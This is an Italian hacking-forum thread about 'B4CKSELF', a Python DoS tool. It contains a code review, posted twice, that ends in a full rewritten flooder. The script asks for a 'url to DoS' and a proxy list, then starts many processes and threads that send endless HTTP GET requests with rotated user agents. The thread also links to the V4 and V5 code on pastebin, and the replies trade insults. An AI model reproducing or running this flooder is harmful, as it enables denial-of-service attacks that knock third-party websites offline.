[B4CKSELF] (V5 , V4) [DOWNLOAD]

Stato
Discussione chiusa ad ulteriori risposte.
Ultima modifica:
Convenzione naming e stile del codice
La prima cosa più semplice da fare per rendere più leggibile il tuo codice è utilizzare un naming corretto (niente errori grammaticali inglesi, non mixare inglese con l'italiano, ecc.). Certe variabili variabili hanno un nome insensato (come la variabile l), un errore grammaticale che hai fatto è per esempio proxyes, ecc.
I nomi dei parametri, funzioni e variabili vanno scritti in minuscolo con il trattino di sottolineatura per staccare una parola dall'altra, in caso che nel progetto prevale l'uso del camelCase dovrai usare solo quest'ultimo; i nomi delle classi vanno scritte sempre con la convezione CapWords (certe volte la usi, certe volte no); usare sempre gli spazi invece dei tab,
Questa è solo una sottigliezza, ma ti consiglio di farne un uso corretto.

Ripetizioni innecessarie del codice
DRY, Don't Repeat Yourself indica che non devi ripeterti e che devi evitare ridondanze di parti di codice che puntano a fare sempre la stessa cosa. Una ripetizione sicuramente involontaria che hai fatto è la doppia importazione del modulo random.

Queste due parti:
Python:
while True:
            try:
                url = input('> Enter Url to DoS: ')
                break
            except:
                print ('> Could not open specified url.')

Python:
while True:
            try:
                num_process = int(input('> Entern number of process[6]: '))
            except:
                num_process = 6
            break

possono essere migliorate. Probabilmente nella prima, che non ha senso, hai provato senza successo a scrivere una parte di codice che ti serviva a controllare se l'utente metteva una stringa valida (niente stringa vuota, ecc.), la seconda è ripetitiva.
Quello che stavi provando a fare può essere formalmente scritto così:

Python:
def is_int(s):
    try:
        return int(s), True
    except ValueError:
        return s, False

def get_input_till_is_valid(prompt, is_string=True):
   # True per ottenere stringhe come input, False per numeri
    while True:
        o = input(prompt)
        if is_string:
            if ' ' not in o: return o
        else:
            o = is_int(o)
            if (o[1]):
                return o[0]
            else:
                return get_input_till_is_valid(prompt, False)

poi ti basta chiamare get_input_till_is_valid() che prende l'input dall'utente affinchè è valido.

Eccezioni
Una cosa terribile che hai fatto è l'utilizzo di except: pass. È pessimo perchè stai semplicemente catturando ogni eccezione che ti può essere rilanciata per poi non farci nulla, infatti semanticamente pass significa non fare nulla. La cosa più ragionevole da fare è loggare gli errori per evitare di buttare al vento pure certe informazioni di debug sensibili, poi in un modo o nell'altro provi a prevenirle.
Specifica sempre e comunque quando puoi l'eccezione che potresti incontrare, ogni eccezione deve essere trattata in un modo diverso.

Per finire, il codice completo è:

Python:
import os, threading, time, random, string, socket, multiprocessing

useragents = [
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
        "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
        "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
        "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
        "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
        "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
        "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
        "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
        "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
        "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
        "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
        "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
        "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
        "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
        "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1"]

class ProcessWorker(multiprocessing.Process):
    def __init__(self, url, array):
        multiprocessing.Process.__init__(self)
        self.url = url
        self.array = array

    def run(self):
        global url, array
        for i in range(100):
            Spammer(self.url, self.array).start()
 
class Spammer(threading.Thread):
 
    def __init__(self, url, array):
        global useragents
        threading.Thread.__init__(self)
        self.url = url
        self.list = array
        self.byte_get = '''GET  %s HTTP/1.1\r\nHost: "%s\r\nUser-Agent: %s\r\n\r\n\r\n'''%(self.url, self.url.replace("http://", "").replace("https://", "").split('/')[0], random.choice(useragents))
    def run(self):
                proxies = random.choice(self.list).split(':')
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                while True:
                    try:
                        sock.connect((proxies[0], int(proxies[1])))
                        sys.stdout.write("HTTP GET Request Proxy: %s | \n"%(proxies[0]))
                        sock.send(self.byte_get.encode())
                    except socket.error:
                        print('Unable to send request') # ti serve pure per capire se il sito è offline
                        time.sleep(1)
 
def is_int(s):
    try:
        return int(s), True
    except ValueError:
        return s, False

def get_input_till_is_valid(prompt, is_string=True):
   # True per ottenere stringhe come input, False per numeri
    while True:
        o = input(prompt)
        if is_string:
            if ' ' not in o: return o
        else:
            o = is_int(o)
            if (o[1]):
                return o[0]
            else:
                return get_input_till_is_valid(prompt, False)


def main():
    url = get_input_till_is_valid('> Enter url to DoS: ')

    while True:
        proxy_list = get_input_till_is_valid('> Enter the proxy list path: ')
        try:
            in_file = open(proxy_list,"r")
            array = []
            for i in in_file:
                array.append(i.split("/n")[0])
            break
        except IOError as e:
            print('Error while reading the text file')

    num_processes = get_input_till_is_valid('> Enter number of processes[6]: ', False)
 
    print('Starting >>> 100 thread * %s process = %s'%(num_processes, 200*num_processes))

    time.sleep(2)
    for i in range(num_processes):
        ProcessWorker(url, array).start()
 
if __name__ == '__main__':
    main()

questa è una semplice recensione della v5, che forse potresti ancora migliorare. Provalo per vedere se va e fammi sapere.
 
  • Mi piace
Reazioni: Max Fridman
Ultima modifica:
Si , B4ckself per ora è finito come progetto, we are work on B4ckNet. New Project.
Ho fatto una modifica al codice, mi ero dimenticato di fare una cosa. Se funziona non dispiacerebbe a nessuno che tu inserisca la mia modifica sul post ufficiale, almeno potrebbero utilizzare la versione ottimizzata.
 
  • Mi piace
Reazioni: All3xJ
Convenzione naming e stile del codice
La prima cosa più semplice da fare per rendere più leggibile il tuo codice è utilizzare un naming corretto (niente errori grammaticali inglesi, non mixare inglese con l'italiano, ecc.). Certe variabili variabili hanno un nome insensato (come la variabile l), un errore grammaticale che hai fatto è per esempio proxyes, ecc.
I nomi dei parametri, funzioni e variabili vanno scritti in minuscolo con il trattino di sottolineatura per staccare una parola dall'altra, in caso che nel progetto prevale l'uso del camelCase dovrai usare solo quest'ultimo; i nomi delle classi vanno scritte sempre con la convezione CapWords (certe volte la usi, certe volte no); usare sempre gli spazi invece dei tab,
Questa è solo una sottigliezza, ma ti consiglio di farne un uso corretto.

Ripetizioni innecessarie del codice
DRY, Don't Repeat Yourself indica che non devi ripeterti e che devi evitare ridondanze di parti di codice che puntano a fare sempre la stessa cosa. Una ripetizione sicuramente involontaria che hai fatto è la doppia importazione del modulo random.

Queste due parti:
Python:
while True:
            try:
                url = input('> Enter Url to DoS: ')
                break
            except:
                print ('> Could not open specified url.')

Python:
while True:
            try:
                num_process = int(input('> Entern number of process[6]: '))
            except:
                num_process = 6
            break

possono essere migliorate. Probabilmente nella prima, che non ha senso, hai provato senza successo a scrivere una parte di codice che ti serviva a controllare se l'utente metteva una stringa valida (niente stringa vuota, ecc.), la seconda è ripetitiva.
Quello che stavi provando a fare può essere formalmente scritto così:

Python:
def is_int(s):
    try:
        return int(s), True
    except ValueError:
        return s, False

def get_input_till_is_valid(prompt, is_string=True):
   # True per ottenere stringhe come input, False per numeri
    while True:
        o = input(prompt)
        if is_string:
            if o: return o
        else:
            o = is_int(o)
            if (o[1]):
                return o[0]
            else:
                return get_input_till_is_valid(prompt, False)

poi ti basta chiamare get_input_till_is_valid() che prende l'input dall'utente affinchè è valido.

Eccezioni
Una cosa terribile che hai fatto è l'utilizzo di except: pass. È pessimo perchè stai semplicemente catturando ogni eccezione che ti può essere rilanciata per poi non farci nulla, infatti semanticamente pass significa non fare nulla. La cosa più ragionevole da fare è loggare gli errori per evitare di buttare al vento pure certe informazioni di debug sensibili, poi in un modo o nell'altro provi a prevenirle.
Specifica sempre e comunque quando puoi l'eccezione che potresti incontrare, ogni eccezione deve essere trattata in un modo diverso.

Per finire, il codice completo è:

Python:
import os, threading, time, random, string, socket, multiprocessing

useragents = [
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
        "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
        "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
        "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
        "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
        "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
        "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
        "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
        "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
        "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
        "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
        "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
        "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
        "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
        "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
        "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
        "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
        "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
        "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
        "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
        "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1"]

class ProcessWorker(multiprocessing.Process):
    def __init__(self, url, array):
        multiprocessing.Process.__init__(self)
        self.url = url
        self.array = array

    def run(self):
        global url, array
        for i in range(100):
            Spammer(self.url, self.array).start()
 
class Spammer(threading.Thread):
 
    def __init__(self, url, array):
        global useragents
        threading.Thread.__init__(self)
        self.url = url
        self.list = array
        self.byte_get = '''GET  %s HTTP/1.1\r\nHost: "%s\r\nUser-Agent: %s\r\n\r\n\r\n'''%(self.url, self.url.replace("http://", "").replace("https://", "").split('/')[0], random.choice(useragents))
    def run(self):
                proxies = random.choice(self.list).split(':')
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                while True:
                    try:
                        sock.connect((proxies[0], int(proxies[1])))
                        sys.stdout.write("HTTP GET Request Proxy: %s | \n"%(proxies[0]))
                        sock.send(self.byte_get.encode())
                    except socket.error:
                        print('Unable to send request') # ti serve pure per capire se il sito è offline
                        time.sleep(1)
 
def is_int(s):
    try:
        return int(s), True
    except ValueError:
        return s, False

def get_input_till_is_valid(prompt, is_string=True):
   # True per ottenere stringhe come input, False per numeri
    while True:
        o = input(prompt)
        if is_string:
            if o: return o
        else:
            o = is_int(o)
            if (o[1]):
                return o[0]
            else:
                return get_input_till_is_valid(prompt, False)


def main():
    url = get_input_till_is_valid('> Enter url to DoS: ')

    while True:
        proxy_list = get_input_till_is_valid('> Enter the proxy list path: ')
        try:
            in_file = open(proxy_list,"r")
            array = []
            for i in in_file:
                array.append(i.split("/n")[0])
            break
        except IOError as e:
            print('Error while reading the text file')

    num_processes = get_input_till_is_valid('> Enter number of processes[6]: ', False)
 
    print('Starting >>> 100 thread * %s process = %s'%(num_processes, 200*num_processes))

    time.sleep(2)
    for i in range(num_processes):
        ProcessWorker(url, array).start()
 
if __name__ == '__main__':
    main()

questa è una semplice recensione della v5, che forse potresti ancora migliorare. Provalo per vedere se va e fammi sapere.
A me dai l'impressione che stai parlando del nulla cosmico, praticamente nella parte iniziale hai parlato di cazzate in quanto ognuno può chiamare le variabili come vuole per comodità, poi nella seconda parte hai detto che quelle funzioni non servono a nulla, ti correggo; quelle funzioni sono testate ed hanno un funzionamento ben preciso, inoltre hai aggiunto una funzione lunghissima evitabile come abbiamo fatto noi
 
  • Mi piace
Reazioni: B4ckdoor
hahahahahahha vai a casa perfavore Professore , allora se non ti va bene il codice mediocre te ne puoi anche andare e non fare versioni migliorate o cazzate del genere, ok? grazie.
@B4ckdoor, io ti stimo per quello che fai/hai fatto nella community, ma secondo me non avresti dovuto reagire così. Se non ti sta bene che qualcuno migliori il tuo codice che tu reputi "solenne", tanto valeva non metterlo opensource e distribuirlo compilato e con codice offuscato. A mio parere bisogna sempre dare spazio alle opinioni di chi ha più esperienza, perché appunto i capelli bianchi (senza offesa per @nullptr lol)danno sempre insegnamenti. Del resto, niente può essere perfetto, la perfezione non esiste. L'utente ha semplicemente speso il suo tempo (inutilmente visto le reazioni degli sviluppatori) analizzando il codice e cercando di migliorarlo dandovi delle dritte spaziando anche su più fronti. Se qualcuno avesse fatto una cosa del genere per Hibernet, mi sarei sentito eccitato di sapere cosa potevo fare meglio e quali sono stati i miei errori, visto che sono uno sviluppatore agli inizi, e che ha ancora molto da imparare. Se continui a pensare che il codice è perfetto, ben venga, non sarò io di certo a tentare di fermarti nel pensarlo. Per il resto, questa è una community, e credo sia un posto dove tutti contribuiscono imparando qualcosa dagli altri. Siccome tu e gli sviluppatori di Backself non siete stupidi, credo che le cose che ho detto prima non siano troppo difficili da comprendere, e spero che abbiate capito. Peace.

Inviato dal mio ALE-L21 utilizzando Tapatalk
 
  • Mi piace
Reazioni: nullptr
Non date peso a sto scemo...E' un ragazzetto che aveva la maturità questa estate, non avrà neanche i baffetti in volto.
Sarà uscito da un ITIS a caso ma sinceramente da quando è qua spara merd* a tutti aggratis millantando competenze MAI dimostrate.

Lui e il suo ubrute...E poi viene qua a dire agli altri come si scrive un codice.....Bah.......

Non date peso a sto scemo...E' un ragazzetto che aveva la maturità questa estate, non avrà neanche i baffetti in volto.
Sarà uscito da un ITIS a caso ma sinceramente da quando è qua spara merd* a tutti aggratis millantando competenze MAI dimostrate.

Lui e il suo ubrute...E poi viene qua a dire agli altri come si scrive un codice.....Bah.......
 
  • Mi piace
Reazioni: B4ckdoor
Non date peso a sto scemo...E' un ragazzetto che aveva la maturità questa estate, non avrà neanche i baffetti in volto.
Sarà uscito da un ITIS a caso ma sinceramente da quando è qua spara merd* a tutti aggratis millantando competenze MAI dimostrate.

Lui e il suo ubrute...E poi viene qua a dire agli altri come si scrive un codice.....Bah.......

Non date peso a sto scemo...E' un ragazzetto che aveva la maturità questa estate, non avrà neanche i baffetti in volto.
Sarà uscito da un ITIS a caso ma sinceramente da quando è qua spara merd* a tutti aggratis millantando competenze MAI dimostrate.

Lui e il suo ubrute...E poi viene qua a dire agli altri come si scrive un codice.....Bah.......
Non é per fare l'avvocato del diavolo, e sì, più di una volta(più che altro col vecchio account) ha mostrato una certa saccenza nei commenti, ma questo non é assolutamente il caso. Qui ha semplicemente fatto delle critiche costruttive che l'autore del programma non ha preso bene, basta.
 
  • Mi piace
Reazioni: B4ckdoor

B4ckdoor

Bannato
6 Luglio 2012
855
63
390
509
Ultima modifica da un moderatore:
OPEN SOURCE CODE:
V5:


V4:


ENJOY


external link :

pastebin.com/hDyiD7Qb v5


pastebin.com/Cn2Kgvk6 V4
 
Domanda... Nell'HackLog in cui si trattava di questo Tool si vedeva esplicitamente la "potenza" di quest'ultimo... Ora io l'ho provato su un server Apache di una mia VPS ma... Nada...
PS. L'ho presa scrausa e poco costosa senza DDOS protection...

Inviato da uno Smartphone
 
Domanda... Nell'HackLog in cui si trattava di questo Tool si vedeva esplicitamente la "potenza" di quest'ultimo... Ora io l'ho provato su un server Apache di una mia VPS ma... Nada...
PS. L'ho presa scrausa e poco costosa senza DDOS protection...

Inviato da uno Smartphone
come pazzo parli non ho capito nulla
riformula la frase
 
Stato
Discussione chiusa ad ulteriori risposte.